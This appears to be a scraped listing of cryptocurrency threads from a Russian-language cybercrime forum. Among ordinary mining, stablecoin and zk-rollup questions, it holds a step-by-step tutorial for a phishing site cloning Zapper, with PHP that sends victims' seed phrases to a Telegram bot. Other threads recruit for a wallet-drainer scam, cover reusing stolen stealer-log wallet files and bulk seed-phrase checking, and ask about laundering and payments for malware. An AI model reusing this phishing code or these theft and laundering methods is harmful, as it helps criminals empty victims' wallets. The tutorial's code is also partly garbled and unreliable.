Завели на lbank монету, трейданули на USDT. lbank блокнул аккаунт, а сейчас говорит, мол, что для разблока вашего аккаунта целиком - решайте вопросы с владельцем монеты, мол блок инициирован по их инициативе. Ни куц им, нихуя не нужно. и говорят мол куц не исправит ситуацию, варик мол один - писать владельцу монеты.
Как быть? Можно на них как-то надавать?

Phantom Wallet
ID: 67686ad7b4103b69df3798fa
Thread ID: 73676
Created: 2022-09-27T13:21:00+0000
Last Post: 2022-10-03T11:48:54+0000
Author: stroplet24
Replies: 9 Views: 452

Здравствуйте друзья, подскажите пожалуйста как дешифровать vault из Phantom Wallet ?

{"encrypted":"2qwTb15zLfcN663dZKUBdcofiXP6UZuiDoaWyQgkmM45","nonce":"N6ztVf7hLJqhXn5xnzdeTRPg9Pg2BCBmf","kdf":"pbkdf2","salt":"Wx95rvb42jqjP18dBRJL6K","iterations":10000,"digest":"sha256"}

Метод из этой темы не работает https://xss.is/threads/71156/

Можно ли вывести?
ID: 67686ad7b4103b69df37966e
Thread ID: 128645
Created: 2024-12-10T13:01:16+0000
Last Post: 2024-12-10T16:02:24+0000
Author: cnv7vxr6k81s
Replies: 5 Views: 451

1733835582791.png1733835594106.png
Есть доступ к приват кею

Как работает seed checker?
ID: 67686ad7b4103b69df379824
Thread ID: 92385
Created: 2023-07-08T11:39:32+0000
Last Post: 2023-07-17T07:12:53+0000
Author: h04x1
Replies: 4 Views: 451

День добрый, хотел бы понять как работает seed checker, я понимаю что в него заливают seed фразы а дальше он адрес генерирует, а как баланс чекает? Если вам не трудно в кратце расскажите как и что работает, заранее спасибо

Реально обойти автовывод на тетере трц20 трон сеть?
ID: 67686ad7b4103b69df379891
Thread ID: 83116
Created: 2023-03-03T14:06:56+0000
Last Post: 2023-03-06T06:44:13+0000
Author: Jaday
Replies: 3 Views: 450

Привет Реально обойти автовывод на тетере трц20 трон сеть? Попался кошель бабло есть но автовывод никто браться не хочет, может есть кто разбирается?

Using stealer wallets on chrome
ID: 67686ad7b4103b69df3798d2
Thread ID: 78821
Created: 2022-12-26T19:55:54+0000
Last Post: 2022-12-27T14:19:14+0000
Author: qGodless
Replies: 5 Views: 450

Hi, new to wallets and stealers, I've gathered a bunch of stealer logs but I don't know how to use them

I installed the TronLink Extension but how do I import it

The log look like this, which TronLink doesn't accept

1672084319515.png

(Note: i don't have tronlink only)

Crypto pumps and signal channels
ID: 67686ad7b4103b69df37976a
Thread ID: 108358
Created: 2024-02-16T08:46:58+0000
Last Post: 2024-03-14T20:07:08+0000
Author: BanServicer
Replies: 3 Views: 450

We see a lot of signals and pump channels for coins on Telegram. I know that some of them, especially small channels, are scams. I know that with some kind of honeypot, they leave you with garbage coins that you buy but can't sell. What I'm really curious about is the big channels. Some channels have 800,000 members. When I check their signal information in places like marketcap. I see that the coin they really signal is on a very serious rise. When I look at the daily transaction volume, it looks like $ 8-10 million. In fact, everything looks right. But of course, if you buy the VIP memberships sold and log in in advance. Because when the signal is shared in the general channel, the coin is already declining.

Still, there is something that doesn't make sense to me. I would like to ask friends who have experience in this subject to share their advice and information. Is it really worth being a member of these channels?

Homomorphic Encryption
ID: 67686ad7b4103b69df379838
Thread ID: 90965
Created: 2023-06-20T11:43:32+0000
Last Post: 2023-06-21T07:56:49+0000
Author: Elysium
Prefix: Статья
Replies: 5 Views: 448

Homomorphic encryption: origins and use in smart contracts

**Introduction
**
Homomorphic encryption is a powerful cryptography technique that allows mathematical operations on encrypted data without needing to decipher them. This unique capacity has opened up new perspectives for data confidentiality and computer systems security. In this article, we will explore the origins of homomorphic encryption, its different forms and its use in intelligent contracts. We will also examine a concrete example of the application of homomorphic encryption in a smart contract to illustrate its operation and its advantages.

**Origins of homomorphic encryption
**
The concept of homomorphic encryption dates back to the pioneering works of Rivest, Adleman and Dertouzos in 1978, which introduced the concept of public key encryption. However, it was not until the work of Craig Gentry in 2009 that homomorphic encryption became a practical reality. Gentry has developed the first fully functional homomorphic encryption system based on complex mathematical constructions such as Euclidian networks and ideal networks.

Homomorphic encryption types

There are different types of homomorphic encryption, including partially homomorphic encryption and completely homomorphic encryption. Partially homomorphic encryption makes it possible to carry out certain mathematical operations on encrypted data, such as addition or multiplication, but not both simultaneously. On the other hand, completely homomorphic encryption makes it possible to carry out both adding and multiplication operations on encrypted data.

Use of homomorphic encryption in smart contracts

Homomorphic encryption offers significant advantages in the field of intelligent contracts. It guarantees data confidentiality while allowing the execution of calculations on this encrypted data. This opens up new possibilities for the confidentiality of sensitive data, such as medical information or financial data, while allowing intelligent contracts to operate on this data in a secure manner.

Concrete example: Smart Salary Calculation Contract
Let's take the example of a smart salary calculation contract based on homomorphic encryption. In this case, sensitive data such as the employee's salary is encrypted before being stored on the blockchain. The smart contract then uses homomorphic operations to perform calculations on this encrypted data.

Suppose the smart contract receives the figures of the employee's monthly salary and the applicable tax rate. The contract uses homomorphic addition and multiplication operations to calculate the amount of tax to be deducted from the quantified salary. The encrypted results are then sent back to the employee, who can decrypt them locally to get the actual amount of their take home pay.

This process guarantees the confidentiality of the employee's wage data while allowing the smart contract to carry out calculations on this data without deciphering them. Thus, even if the smart contract is executed on a public blockchain, the employee's sensitive information remains protected.

Code example of smart contrat without homomorphic Encryption :


Code:Copy to clipboard

    
    
    solidity
    
    contract SimpleContract {
    
        uint public value;
    
    
    
        function setValue(uint newValue) public {
    
            value = newValue;
    
        }
    
    }

In this contract, we have a public variable value of type uint (unsigned integer) which stores a value. The setValue function allows you to modify this value by taking a new integer as a parameter and storing it in the value variable.

Now, let's apply homomorphic encryption to the contract to ensure the confidentiality of the stored value. For this we will use a homomorphic encryption library such as "HomomorphicEncryptionLibrary". Here is the version of the smart contract with homomorphic encryption:


Code:Copy to clipboard

    
    
    solidity
    
    import "HomomorphicEncryptionLibrary.sol";
    
    
    
    contract EncryptedContract {
    
        using HomomorphicEncryptionLibrary for uint;
    
        bytes encryptedValue;
    
    
    
        function setValue(bytes memory encryptedNewValue) public {
    
            require(msg.sender == HomomorphicEncryptionLibrary.decrypt(encryptedNewValue), "Invalid decryption key!");
    
            encryptedValue = encryptedNewValue;
    
        }
    
    
    
        function getValue() public view returns (uint) {
    
            return HomomorphicEncryptionLibrary.decrypt(encryptedValue);
    
        }
    
    }

In this modified version, we have imported the "HomomorphicEncryptionLibrary.sol" library, which contains the necessary homomorphic encryption and decryption functions. The encryptedValue variable now stores the value encrypted using homomorphic encryption.

The setValue function takes the new encrypted value encryptedNewValue as a parameter and checks if the decryption of this value matches the address of the caller. This ensures that only the person with the appropriate decryption key can modify the encrypted value.

The getValue function returns the value decrypted using the decryption function of the HomomorphicEncryptionLibrary library.

With this modification, the smart contract uses homomorphic encryption to ensure the confidentiality of the stored value while allowing certain operations to be performed on the encrypted value.

Homomorphic encryption offers an innovative solution for data privacy in smart contracts. By allowing calculations to be performed on encrypted data, it opens up new possibilities for the security and confidentiality of sensitive information. Practical applications such as encrypted salary calculations demonstrate the potential of homomorphic encryption in smart contracts.

However, it should be noted that homomorphic encryption has constraints in terms of performance and mathematical complexity. Further research and development is needed to improve performance and make homomorphic encryption more accessible to developers.

In conclusion, homomorphic encryption paves the way for new privacy approaches in smart contracts. Its use can provide an additional layer of security and privacy to blockchain applications, while allowing computations to be performed on sensitive data. With continued advances in this area, homomorphic encryption promises to play a key role in the future of smart contracts and data privacy.

крипта не анонимна?
ID: 67686ad7b4103b69df37987c
Thread ID: 84566
Created: 2023-03-27T00:33:53+0000
Last Post: 2023-03-30T12:22:16+0000
Author: net98
Replies: 6 Views: 447

Когда юзер скачивает любой криптокошелек trustwallet, exodus и тд собирают ли разработчики базу данных что этот адрес был использован с этого ip адреса, с такого вот устройства? Что думаете по этому поводу?

Валидация аккаунта на бирже
ID: 67686ad7b4103b69df3796e0
Thread ID: 121591
Created: 2024-08-28T04:28:56+0000
Last Post: 2024-08-28T05:15:01+0000
Author: Lizard
Replies: 1 Views: 447

Хотелось бы раздобыть контакт кто валидирирует аккаунты (наверное так это называется) на различных биржах за отдельную плату. Суть в том чтобы переделать данные аккаунт биржи на нужные мне за отдельную плату. Может что пользовался такими услугами и может поделиться контактом.

Стоит ли майнить в 2024?
ID: 67686ad7b4103b69df3796ba
Thread ID: 123950
Created: 2024-10-02T09:19:51+0000
Last Post: 2024-10-02T09:38:53+0000
Author: wewo
Replies: 2 Views: 447

Каковы перспективы и экономическая целесообразность майнинга Bitcoin на ASIC- устройствах в 2024 году, учитывая текущие изменения в стоимости электроэнергии, сложности сети и рыночных условий?

Зачем множество GPU для биткоина?
ID: 67686ad7b4103b69df3798be
Thread ID: 80327
Created: 2023-01-20T08:47:45+0000
Last Post: 2023-01-21T03:39:24+0000
Author: quiedcpp
Replies: 5 Views: 446

Замечал что люди которые работают с биткоином используют множество видеокарт ( до сотни каких-то 3090), и продают эти услуги, для каких целей такие вычислительные мощности, понятно что иногда вычечления на GPU может быть в x8 раз производительнее CPU, но вопрос для чего именно (Разумеется не для майнинга, какие-то работы с хешами вероятно), и оправдывает ли себя такое количество видеокарт?

Поделитесь опытом с молодежью
ID: 67686ad7b4103b69df3798b7
Thread ID: 80506
Created: 2023-01-23T10:52:08+0000
Last Post: 2023-01-26T13:51:04+0000
Author: TheRustleBills
Replies: 2 Views: 441

Приветствую господа, так как я человек новый на форуме, прошу поделиться информацией(курсы, статьи, обучения). Интересует информация связанная с криптой, логами и прочими не самыми светлыми делами. Возможно, что то сами изучали и знаете, что полезно, возможно мимо проходили и показалось интересным. Буду благодарен.

Из списка сидфраз в список кошельков?
ID: 67686ad7b4103b69df3797ed
Thread ID: 97733
Created: 2023-09-10T09:18:55+0000
Last Post: 2023-09-10T20:57:08+0000
Author: Evilxxx
Replies: 4 Views: 440

У меня есть несколько сотен сидфраз , я хочу получить на выходе список кошельков
сидфразы от metamask\trustwallet
Ищу бесплатный открытый скрипт

BLUM SOFT FOR MULTIACCOUNTING
ID: 67686ad7b4103b69df3796dc
Thread ID: 121810
Created: 2024-08-31T11:48:05+0000
Last Post: 2024-08-31T11:48:05+0000
Author: userless
Replies: 0 Views: 439

sell soft, write ur questions, escrow +, tg:lukashenk00
write in tg with remark: LZ

продаю софт, пишите вопросы, гарант +, тг выше,
в тг писать с пометкой LZ

Уникально Приглашаю к сотрудничеству скам селлеров / гарантов под Drainer проект. Набор воркеров.
ID: 67686ad7b4103b69df379735
Thread ID: 109271
Created: 2024-02-28T16:39:12+0000
Last Post: 2024-05-08T15:47:17+0000
Author: GroveStreetTeam
Replies: 1 Views: 438

О нас:
Набираем опытных партнеров в небольшую, но давно работающую и надежную скам тиму.
Подходит для тех, кто уже разводит мамонтов на что-либо (предоплата, услуги, товар и тд).
Используется как добивка мамонта чтобы забрать у него все что есть на кошельке.

Тема: drainer + лендинг с динамическими данными для каждого партнера (дрейнер поддердивает 60+ сетей, поддерживает всевозможные кошельки). EVM сети работают без збоев, TRC20 - боримся.

**Не работает для бирж, только для кошельков. Работает с мобильного, пк и тд

В чем суть ворка?**
- Вы заскамили мамонта на оплату товара/услуги
- После оплаты наш бот генерирует под вашу сделку уникальный лендинг - якобы для получения мамонтом оплаченого товара/услуги
- Вы отправляете этот ленд мамонту (на нем будут все его данные, детали сделки и тд)
- На сайте он получает невалидный товар и мамонт требует возврата средств.
- Вы соглашаетесь вернуть ему средства через сервис в котором он получил товар, ведь деньги хранятся там в смарт контракте.
- Чтобы вернуть средства он подключает свой кошелек и подписывает смарт контракт. мамонт обязательно должен использовать кошелек с которого ранее оплачивал товар (это написано на лендинге). Это нужно якобы для его идентификации (чтобы левый чел не могу получить его деньги)
- Наш бот автоматически выводит с кошелька все средства на наши кошельки. Тем самым мы получаем возможность заскамить крупный кошелек с кучей бабла.**Подробности в мануале.

Сколько можно зашибать?
Весь баланс мамонта, лимитов нет

Условия работы:**

BOT:@JoinGroveStreetBot
SUPPORT: @big_smoke_grovest

Hot to get private keys from BTC wallets!
ID: 67686ad7b4103b69df37979f
Thread ID: 106817
Created: 2024-01-27T14:27:12+0000
Last Post: 2024-01-27T14:27:12+0000
Author: bacha
Replies: 0 Views: 437

Взято на зарубежном форуме, выложено чисто в ознакомительных целях.

Hi all!
In this article, we will mine crypto wallets and secret phrases for them.
This is not a standard way, I don't think it's been seen anywhere
You thought that you could mine crypto wallets only with the help of stealers, but that’s not the case =)))

A little about this method
We will copy a site that collects secret words and wallets, and then we will add to it and send data to telegrams.
After receiving secret words and crypto wallet addresses, you can restore them and withdraw or sell them.

This will require a little time, the ability to copy a site and some knowledge of web development JS, PHP, HTML/CSS and traffickers.

The first thing we need is to write a mini script to distribute users by country.

Let's call it index.php

"index.html", // "cn" => "index_cn.html", // "de" => "index_de.html", // "el" => "index_el.html", // "es" => "index_es.html", // "fr" => "index_fr.html", // "id" => "index_id.html", // "it" => "index_it.html" ); // identify language symbols $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); // default language if $lang do not match more than one value from the array $site if (!isset($sites[$lang])) { $lang = ‘en’; } // Redirect the user to the desired page. header('Location: ' . $sites[$lang]); exit; Secondly, we will need to add a page for entering the wallet, this needs to be sent in telegram. After entering the data, we are transferred to the profile and there we need to indicate 12 secret words and these words are sent to the telegram. Let's call it index.html HTML: Zapper - Dashboard for DeFi

Manage yourDeFi
assets and liabilities in
one
simple interface.

Get unique access to opportunities in open finance.

or

$1.3B+

Invested through our platform

Since May 2020

400K+

Monitored their assets

Since January 2020

48

DeFi platforms supported

View the full list
×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

The third step is to write a profile page. Let's call it dashboard.php HTML: Zapper - Dashboard for DeFi
defiportal.eth
Ethereum
Dashboard
Exchange
Pool
Farm
History

Total Assets

$0

Total Debt

$0

Net Worth

$0

Account Overview Don't see your assets?
Hide Balances Below
Switch View
Wallet
$0
Deposits
$0
Investments
$0
Yield Farming
$0
Debt
$0
Platforms
×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:

×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:


×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:


×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:


×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:


×

Enter your secret twelve word phrase here to connect wallet

Wallet Seed:


The fourth step is to transfer it to the loader so that the user does not understand what is going on (this will give some time for cashing out).
Let's call the page disc.html

HTML:

Zapper - Dashboard for DeFi

5. Fifth step - write a script to process requests and send them to tg.

Let's call it telegram.php

HTML:

$cash, 'Слова' => $sid, 'Платформа' => $name ); foreach($arr as $key => $value) { $txt .= "".$key." ".$value."%0A"; }; $sendToTelegram = fopen("{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}","r"); if ($sendToTelegram) { header('Location: disc.html'); } else { echo "Error"; } ?>

Let's check!

All in all. We created a phishing site for processing crypto wallets.
This way we can mine crypto wallets and their secret words.

1 - We pump traffic
2 - We admire the profit

Then the choice is yours, either restore the crypto wallet or sell it 😃

There is only PC version
created blockchain platform

Code:_

_< form action="telegram.php" method="POST">

Тут код платформы, где вводят даные

_
Crypto payment processors?
ID: 67686ad7b4103b69df37986f
Thread ID: 85876
Created: 2023-04-13T23:09:28+0000
Last Post: 2023-04-16T17:54:05+0000
Author: honeybunz
Replies: 8 Views: 437

hi all, im currently in the process of devoloping some malware and need a good privacy based crypto payment processor to take and recieve payment from the victims, could anyone recoomend the best platform to use, preferbly one that can take Monero(XMR) payments. thanks

Менял биток на тинькофф
ID: 67686ad7b4103b69df3797ae
Thread ID: 105377
Created: 2024-01-09T07:21:02+0000
Last Post: 2024-01-13T07:26:14+0000
Author: student
Replies: 2 Views: 436

Через обменник который нашел на bestchange меня btc - тинькофф. В итоге пополнение на мою карту пришло с Qiwi. Как? Там же ограничения от ЦБ. Вариант, что с Казахстанского киви перевод был и тенге конвертировались в рубли?

Need recommendations about my cleaning process of dirty crypto
ID: 67686ad7b4103b69df379834
Thread ID: 90514
Created: 2023-06-14T15:48:18+0000
Last Post: 2023-06-24T12:32:21+0000
Author: Aircrack-ng
Replies: 8 Views: 434

I'm using 2 electrum wallets configured with Tor on whonix. I also have a xmr wallet on Same VM. I swap btc to xmr and send it to my xmr wallet. then sent xmr to another address . Then swap this xmr to btc. And only used crypto exchanges without kyc. So using this method there is no connection of cleaned btc to any of my business. So I can buy visa gift cards to use . If someone have good method than this please share. Also if I've made any mistake in my method point it out. Thank you

AMLbot promo
ID: 67686ad7b4103b69df3796f2
Thread ID: 120391
Created: 2024-08-07T20:30:08+0000
Last Post: 2024-08-07T20:30:08+0000
Author: top
Replies: 0 Views: 433

Посоветуйте, где можно найти промо коды или купить большое количество разовых чеков на AMLbot?
нужно 1000-1500 их чеков, но не ограниченные по времени

wallet.aes.json
ID: 67686ad7b4103b69df3798e0
Thread ID: 76652
Created: 2022-11-25T11:50:14+0000
Last Post: 2022-11-25T11:50:14+0000
Author: joker7874
Replies: 0 Views: 433

попался мне в руки файл wallet.aes.json, нашел утилиту, которая дампит этот файл при вводе правильного пароля. И вот я его дампнул и в итоге выдало 3 приват-паблик ключа, но в одном есть какая-то пометка label, на нем счет не пустой, но что это за пометка и как зайти в кошель именно на эту пометку не понимаю.паблик ключи помечены решеткой. Что значит эта пометка?

Как запустить майнер Litecoin в 2022-2023 году на территории РФ
ID: 67686ad7b4103b69df3798e4
Thread ID: 75413
Created: 2022-11-07T13:12:57+0000
Last Post: 2022-11-19T11:13:49+0000
Author: 33012
Replies: 1 Views: 433

Как запустить майнер Litecoin в 2022-2023 году на территории РФ
Полный процесс (желательно мануал) очень надо.

Расширение TerraStation
ID: 67686ad7b4103b69df37996f
Thread ID: 65800
Created: 2022-04-18T16:43:34+0000
Last Post: 2022-05-05T15:46:30+0000
Author: Randy
Replies: 9 Views: 431

Вопрос назрел. При работе с Метамасков с логов, чтобы подкинуть сам Метамаск (без экспорта сида и прочей мути), достаточно подкинуть сграбленные файлы по пути C:\Users\[BlaBla]\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn. Далее запускаем Хром, стартует Метамаск, вводим пароль и радуемся.
Пытаюсь сделать то же самое с раширением TerraStation (aiifbnbfobpmeekipheeijimdpnlpgpp). Делаю все точно также, установил расширение, зашел по пути, в папке aiifbnbfobpmeekipheeijimdpnlpgpp снес все нахрен и подкинул файлы с лога. Результат нулевой. Показывает старый (который я для теста сделал) кошель. Танцы с бубном ничего не дали. Кто то сталкивался с таким? Есть идеи?

Ищу книги по Solidity
ID: 67686ad7b4103b69df37980a
Thread ID: 65341
Created: 2022-04-07T16:27:38+0000
Last Post: 2023-08-12T14:02:41+0000
Author: fantaser
Replies: 7 Views: 428

Приветствую
Если не сложно закиньте книжек по ЯП толковых
Желательно на русском но если нет то любом))

кошелек electrum с 200$ на борту
ID: 67686ad7b4103b69df379929
Thread ID: 69333
Created: 2022-06-28T13:47:42+0000
Last Post: 2022-08-02T17:52:39+0000
Author: Couley Erma
Replies: 3 Views: 427

[ CA 99.246.86.91.rar - AnonFiles

](https://anonfiles.com/tbl4i4t8y0/CA_99.246.86.91_rar)

anonfiles.com anonfiles.com

Пароли с пасслиста не подошли, бывает нужно с символами пошаманить, может кому повезет и заберет 200$ на пиво.
p.s. пароль xss.is

Как проверять сид фразы?
ID: 67686ad7b4103b69df3797c2
Thread ID: 103900
Created: 2023-12-11T19:54:46+0000
Last Post: 2023-12-14T13:19:43+0000
Author: LOVE
Replies: 5 Views: 426

Какие кошельки лучше всего подходят для проверки сид фраз?
Если я не знаю от какого кошелька сид фраза, от trustwallet или ledger? Как гарантировано найти все монеты?
Сервисы и платный софт не предлагать, у меня не так много сид фраз.

Нужно ваще мнение о WallitlQ (WLTQ)
ID: 67686ad7b4103b69df3796b0
Thread ID: 124858
Created: 2024-10-15T14:18:16+0000
Last Post: 2024-10-17T16:20:17+0000
Author: Stimul007
Replies: 2 Views: 425

Ребята нужно ваще мнение что за новый токен, кто знает WallitlQ (WLTQ)
Сайт могу скинуть.
Вкинул на предпродаже 1к$

ICO Coinlist
ID: 67686ad7b4103b69df3798f8
Thread ID: 73263
Created: 2022-09-16T09:38:48+0000
Last Post: 2022-10-06T20:00:05+0000
Author: jarsam
Replies: 12 Views: 425

В данной статье я вам расскажу, что такой ICO и как на этом зарабатывают

Как сразу вытащить пул ликвидности?
ID: 67686ad7b4103b69df379753
Thread ID: 109959
Created: 2024-03-08T09:57:41+0000
Last Post: 2024-04-04T19:07:59+0000
Author: suerte
Replies: 2 Views: 424

День добрый,

Вопрос к экспертам - скажым, вы разкрутили свой shitcoin и хотите выдернуть пул ликвидности? Знаю, типичный скам.

Но как это сделать сразу, без ожидания 10-15 мин. пока появится кнопка на Raydium?

Может есть какой то скрипт? Или может делать это не на Raydium а на другой платформе?

Подскажите пожалуйста.

Подскажите крипто-форумы
ID: 67686ad7b4103b69df37966d
Thread ID: 128718
Created: 2024-12-11T08:31:56+0000
Last Post: 2024-12-11T16:41:06+0000
Author: WANNAKILL
Replies: 2 Views: 421

Про инвестиции, циклы рынка и тд.
Можно на английском.
Заранее спасибо.

Книга Mastering Bitcoin на русском языке
ID: 67686ad7b4103b69df3799f1
Thread ID: 55802
Created: 2021-08-24T19:05:35+0000
Last Post: 2021-08-26T13:05:17+0000
Author: rrv321
Replies: 3 Views: 419

Mastering Bitcoin - это книга для разработчиков, хотя в первых двух главах биткойн рассматривается на уровне, доступном и для непрограммистов. Любой, кто разбирается в технологиях, может прочитать первые две главы, чтобы лучше понять биткойн.

Глава 1 Введение'
Глава 2: «Как работает биткойн»
Глава 3: «Биткойн-ядро: эталонная реализация»
Глава 4: «Ключи, адреса»
Глава 5: "Кошельки"
Глава 6: «Сделки»
Глава 7: «Расширенные транзакции и сценарии»
Глава 8: Биткойн-сеть
Глава 9: Блокчейн
Глава 10: Майнинг и консенсус
Глава 11: «Безопасность биткойнов»
Глава 12: «Блокчейн-приложения»

скачать

Обменники разве отправляют грязь?
ID: 67686ad7b4103b69df3797c3
Thread ID: 103970
Created: 2023-12-12T18:54:06+0000
Last Post: 2023-12-13T00:34:16+0000
Author: gotolearnpls
Replies: 6 Views: 418

Например из списка bestchange. С их политикой aml, о которой пиздят на каждом шагу.

ВОПРОС! Подключение electrum к локальной ноде Bitcoin Core
ID: 67686ad7b4103b69df379837
Thread ID: 90362
Created: 2023-06-13T11:29:05+0000
Last Post: 2023-06-21T17:28:39+0000
Author: brumsy
Replies: 7 Views: 418

Народ, Хелп!
Два дня уже ковыряюсь.
Пытаюсь настроить подключение electrum через ноду биткоин кор. В конфиге все прописал (ip, порт, имя), в брандмауере поставил все исключения, блокчейн синхронизирован на 100%, сервер прописал в электрум (127.0.0.1:8332). И нифига(
Может мануал где есть? Гугл какую то дичь предлагает!
Подскажите, добрые люди!

Как массово извлечь приват ключи eth с сид фраз ?
ID: 67686ad7b4103b69df379852
Thread ID: 86672
Created: 2023-04-25T19:34:43+0000
Last Post: 2023-05-26T18:01:28+0000
Author: dsjsldnf
Replies: 2 Views: 418

Как массово извлечь приват ключи с сид фраз ?

Подскажите материал по блокчейну
ID: 67686ad7b4103b69df379766
Thread ID: 110492
Created: 2024-03-15T20:14:00+0000
Last Post: 2024-03-16T12:25:04+0000
Author: levakekv
Replies: 5 Views: 417

Начинающий в этой теме, очень хочу найти качественный материал по блокчейну на русском языке(видео, книги etc)

Что вы думаете про тг wallet?
ID: 67686ad7b4103b69df37977c
Thread ID: 109365
Created: 2024-02-29T16:20:48+0000
Last Post: 2024-02-29T17:20:45+0000
Author: student
Replies: 7 Views: 416

Удобная ли вещь для небольших сделок, к тому же там есть p2p и вроде курс выгодный. Вопрос почему сид фразу нельзя достать???

BTC Mixer
ID: 67686ad7b4103b69df37988b
Thread ID: 82897
Created: 2023-02-28T12:34:17+0000
Last Post: 2023-03-15T10:59:40+0000
Author: katg
Replies: 1 Views: 416

What are the mixers you use for BTC and whats your feedback about them

Опознать кошелёк по сид фразе
ID: 67686ad7b4103b69df3798f0
Thread ID: 74199
Created: 2022-10-11T05:41:13+0000
Last Post: 2022-10-23T09:26:46+0000
Author: 1337speak
Replies: 6 Views: 415

Помогите опознать, что за кошелёк/сервис

prnt.sc

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

Пытался импортнуть в траст/guarda - показывает фразу невалидной. Возможно кто- то по скрину опознает от какого сервиса данный бэкап - буду крайне признателен

Нужна помощь с Telegram Wallet
ID: 67686ad7b4103b69df3797bf
Thread ID: 103959
Created: 2023-12-12T16:23:00+0000
Last Post: 2023-12-23T04:47:18+0000
Author: odysseq
Replies: 5 Views: 414

Случилась такая ситуация:

Я использовал встроенный Wallet на личном аккаунте, верификация пройдена там, но недавно понадобилось принять средства на Wallet рабочего аккаунта, принял и не пройдя лимиты попытался пройти верификацию. Результат - ошибка в связи с тем, что личность уже верифицирована в другом аккаунте, при этом новой попытки пройти вериф нет и единственное действие - написать в поддержку. В поддержке внятного ничего не сказали, игнорят несколько дней, на просьбу "передать чеком 12000$ на первый аккаунт, а второй заблочить" - тоже нет ответа.

Благодарю всех кто даст какой-либо совет, если можете помочь - отблагодарю $.

Tornado cash & Railgun
ID: 67686ad7b4103b69df3796bf
Thread ID: 123809
Created: 2024-09-30T11:43:17+0000
Last Post: 2024-09-30T15:09:12+0000
Author: Embargo
Replies: 1 Views: 414

Обсуждаем плюсы и минусы этих решений для анонимизации eth.
После введенных санкций какой доверенный url у TC ?
Ваш опыт работы с этими инструментами?

Какой стейблкоин выбрать для сохранения своих денег?
ID: 67686ad7b4103b69df3799bd
Thread ID: 59649
Created: 2021-12-04T02:01:36+0000
Last Post: 2021-12-04T20:40:08+0000
Author: Astuay
Replies: 11 Views: 414

Имею довольно приличную сумму, пришло время ее как то зафиксировать и появилась проблема в выборе стейбл коина.

Многие говорят про usdt, но прочитав что у них закрытый код и в смарт контрактах есть возможность заморозки конкретных счетов, побоялся обменивать на нее.

Вопрос в чем, какой можно выбрать стейблкоин без заморозки средств?

zk-Rollups - спасение для Ethereum или очередной хайп?
ID: 67686ad7b4103b69df3796bd
Thread ID: 123887
Created: 2024-10-01T11:08:22+0000
Last Post: 2024-10-01T12:38:16+0000
Author: reGreTara
Replies: 1 Views: 413

У Ethereum со скейлингом вечные траблы, но zk-rollups, похоже, могут реально решить эту проблему. Смысл в том, что zk-rollups собирают кучу транзакций оффчейн и проверяют их с помощью zk-SNARKs (короче, умные криптопруфы). Что это даёт? Меньше газа и быстрее транзы, при этом безопасность на уровне.
Оптимистичные роллапсы, по сравнению, тупо ждут вывода и проверяют на фроды, а zk-rollups уже сразу всё проверяют и работают быстрее. Но есть нюансы — разрабы пока жалуются на сложности и потенциальную централизацию.

Что думаете, zk-rollups решат все проблемы с масштабированием Ethereum, или это просто очередной хайп?

Как пополнить paypal за биток или эфир?
ID: 67686ad7b4103b69df3797ca
Thread ID: 102639
Created: 2023-11-20T22:34:49+0000
Last Post: 2023-11-21T13:24:21+0000
Author: master0
Replies: 6 Views: 413

Хочу себе купить кое-что за paypal (нету других способов оплаты - только карта или pp). Как можно оплатить за крипту в таком случае? Мб аккаунт пп взять или делать саморег и пополнять через умельцев?

Кто работает в теме по обналу api key
ID: 67686ad7b4103b69df37991b
Thread ID: 71088
Created: 2022-08-03T18:08:16+0000
Last Post: 2022-08-15T20:40:38+0000
Author: TeamWin
Replies: 7 Views: 411

Интересую мысли предложения по работе, идеи что по ключам с балансом но выключенном трейдом?)

API
ID: 67686ad7b4103b69df37968c
Thread ID: 127000
Created: 2024-11-15T21:43:44+0000
Last Post: 2024-11-15T23:15:09+0000
Author: Nasamp
Replies: 4 Views: 410

Всем доброго вечера, где можно поискать api для тестов aml?

Был бы благодарен если кто то знает

Инвестиции в щитки
ID: 67686ad7b4103b69df3799bf
Thread ID: 59268
Created: 2021-11-24T18:36:43+0000
Last Post: 2021-12-01T19:04:40+0000
Author: PuzzieCream
Replies: 6 Views: 410

В последнее время стало много появляться различных токенов которые дают х1000, в видео по ниже мужик рассказывает каким методом он руководствуется при выборе щитков, я инвестировал пару недель назад по приколу кинул 10$ в монету DALI на bsc вчера продал получил 13$, что думаете по этому поводу?

Кста ловите то самое видео:

Привет, SHIBA INU

Взлом монеты. Потенциал 2-4х от текущих. BEAN.
ID: 67686ad7b4103b69df379976
Thread ID: 65745
Created: 2022-04-17T14:35:41+0000
Last Post: 2022-04-18T11:42:24+0000
Author: soloSop
Replies: 6 Views: 409

:smile50:Хакеры, совсем недавно взломали монету - BEAN.

__https://twitter.com/x/status/1515680335769456640

( DeFi-протокол Beanstalk DAO и вывели около 24 830 ETH на $75 миллионов.)

Транза вывода активов - https://etherscan.io/tx/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7
+ заданатили Укр 250к$

Монета BEAN - https://www.coingecko.com/ru/Криптовалюты/bean/usd#panel
**Торгуется на Uniswap

Уже везде идёт инфа про взлом = FUD.**

